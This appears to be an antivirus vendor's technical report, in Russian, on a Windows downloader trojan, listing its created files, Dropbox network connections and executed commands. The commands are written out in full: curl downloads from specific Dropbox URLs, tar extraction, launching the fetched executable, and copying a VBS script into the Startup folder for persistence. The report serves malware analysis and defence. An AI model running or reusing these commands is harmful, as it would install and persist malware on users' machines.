Trojan.DownLoader49.11996

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

%APPDATA%\microsoft\windows\start menu\programs\startup\launch.vbs

Изменения в файловой системе

Создает следующие файлы

<SYSTEM32>\windowspowershell\v1.0\portableclient-2.zip
<SYSTEM32>\windowspowershell\v1.0\startvbs.exe
%HOMEPATH%\portableclient\portableclient\client8.pyw
%HOMEPATH%\portableclient\portableclient\launch.vbs
%HOMEPATH%\portableclient\portableclient\python\_asyncio.pyd
%HOMEPATH%\portableclient\portableclient\python\_bz2.pyd
%HOMEPATH%\portableclient\portableclient\python\_ctypes.pyd
%HOMEPATH%\portableclient\portableclient\python\_decimal.pyd
%HOMEPATH%\portableclient\portableclient\python\_elementtree.pyd
%HOMEPATH%\portableclient\portableclient\python\_hashlib.pyd
%HOMEPATH%\portableclient\portableclient\python\_lzma.pyd
%HOMEPATH%\portableclient\portableclient\python\_multiprocessing.pyd
%HOMEPATH%\portableclient\portableclient\python\_overlapped.pyd
%HOMEPATH%\portableclient\portableclient\python\_queue.pyd
%HOMEPATH%\portableclient\portableclient\python\_socket.pyd
%HOMEPATH%\portableclient\portableclient\python\_sqlite3.pyd
%HOMEPATH%\portableclient\portableclient\python\_ssl.pyd
%HOMEPATH%\portableclient\portableclient\python\_uuid.pyd
%HOMEPATH%\portableclient\portableclient\python\_wmi.pyd
%HOMEPATH%\portableclient\portableclient\python\_zoneinfo.pyd
%HOMEPATH%\portableclient\portableclient\python\libcrypto-3.dll
%HOMEPATH%\portableclient\portableclient\python\libffi-8.dll
%HOMEPATH%\portableclient\portableclient\python\libssl-3.dll
%HOMEPATH%\portableclient\portableclient\python\license.txt
%HOMEPATH%\portableclient\portableclient\python\pyexpat.pyd
%HOMEPATH%\portableclient\portableclient\python\python.cat
%HOMEPATH%\portableclient\portableclient\python\python.exe
%HOMEPATH%\portableclient\portableclient\python\python3.dll
%HOMEPATH%\portableclient\portableclient\python\python313._pth
%HOMEPATH%\portableclient\portableclient\python\python313.dll
%HOMEPATH%\portableclient\portableclient\python\python313.zip
%HOMEPATH%\portableclient\portableclient\python\pythonw.exe
%HOMEPATH%\portableclient\portableclient\python\select.pyd
%HOMEPATH%\portableclient\portableclient\python\sqlite3.dll
%HOMEPATH%\portableclient\portableclient\python\unicodedata.pyd
%HOMEPATH%\portableclient\portableclient\python\vcruntime140.dll
%HOMEPATH%\portableclient\portableclient\python\vcruntime140_1.dll
%HOMEPATH%\portableclient\portableclient\python\winsound.pyd
%HOMEPATH%\portableclient\portableclient\start.bat

Сетевая активность

Подключается к

'dr##box.com':443
'uc#############e42ca7d6aee64.dl.dropboxusercontent.com':443
'uc#############e3e29deb05241.dl.dropboxusercontent.com':443

TCP

Запросы HTTP GET

http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?2f##############

Другие

'dr##box.com':443
'uc#############e3e29deb05241.dl.dropboxusercontent.com':443

UDP

DNS ASK dr##box.com
DNS ASK uc#############e42ca7d6aee64.dl.dropboxusercontent.com
DNS ASK uc#############e3e29deb05241.dl.dropboxusercontent.com

Другое

Создает и запускает на исполнение

'<SYSTEM32>\windowspowershell\v1.0\startvbs.exe'

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c curl -L -o PortableClient-2.zip "https://www.dropbox.com/scl/fi/zphcful1vhiatki7il7u5/PortableClient-1.zip?rlkey=k0a653p5k8mg6nacrb81x3x4b&st=ryjkasmo&dl=1"
'<SYSTEM32>\curl.exe' -L -o PortableClient-2.zip "https://www.dropbox.com/scl/fi/zphcful1vhiatki7il7u5/PortableClient-1.zip?rlkey=k0a653p5k8mg6nacrb81x3x4b&st=ryjkasmo&dl=1"
'<SYSTEM32>\cmd.exe' /c curl -L -o startvbs.exe "https://www.dropbox.com/scl/fi/zo5gmaxuafhliq5ye7fhl/test.exe?rlkey=ydbfjmibywtxdj9onj1m1sfab&st=2fnre62b&dl=1"
'<SYSTEM32>\curl.exe' -L -o startvbs.exe "https://www.dropbox.com/scl/fi/zo5gmaxuafhliq5ye7fhl/test.exe?rlkey=ydbfjmibywtxdj9onj1m1sfab&st=2fnre62b&dl=1"
'<SYSTEM32>\cmd.exe' /c mkdir "%USERPROFILE%\Portableclient" 2>nul
'<SYSTEM32>\cmd.exe' /c tar -xf PortableClient-2.zip -C "%USERPROFILE%\PortableClient"
'<SYSTEM32>\tar.exe' -xf PortableClient-2.zip -C "%HOMEPATH%\PortableClient"
'<SYSTEM32>\cmd.exe' /c start startvbs.exe
'<SYSTEM32>\cmd.exe' /c copy "%USERPROFILE%\Portableclient\PortableClient\launch.vbs" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\" >nul 2>&1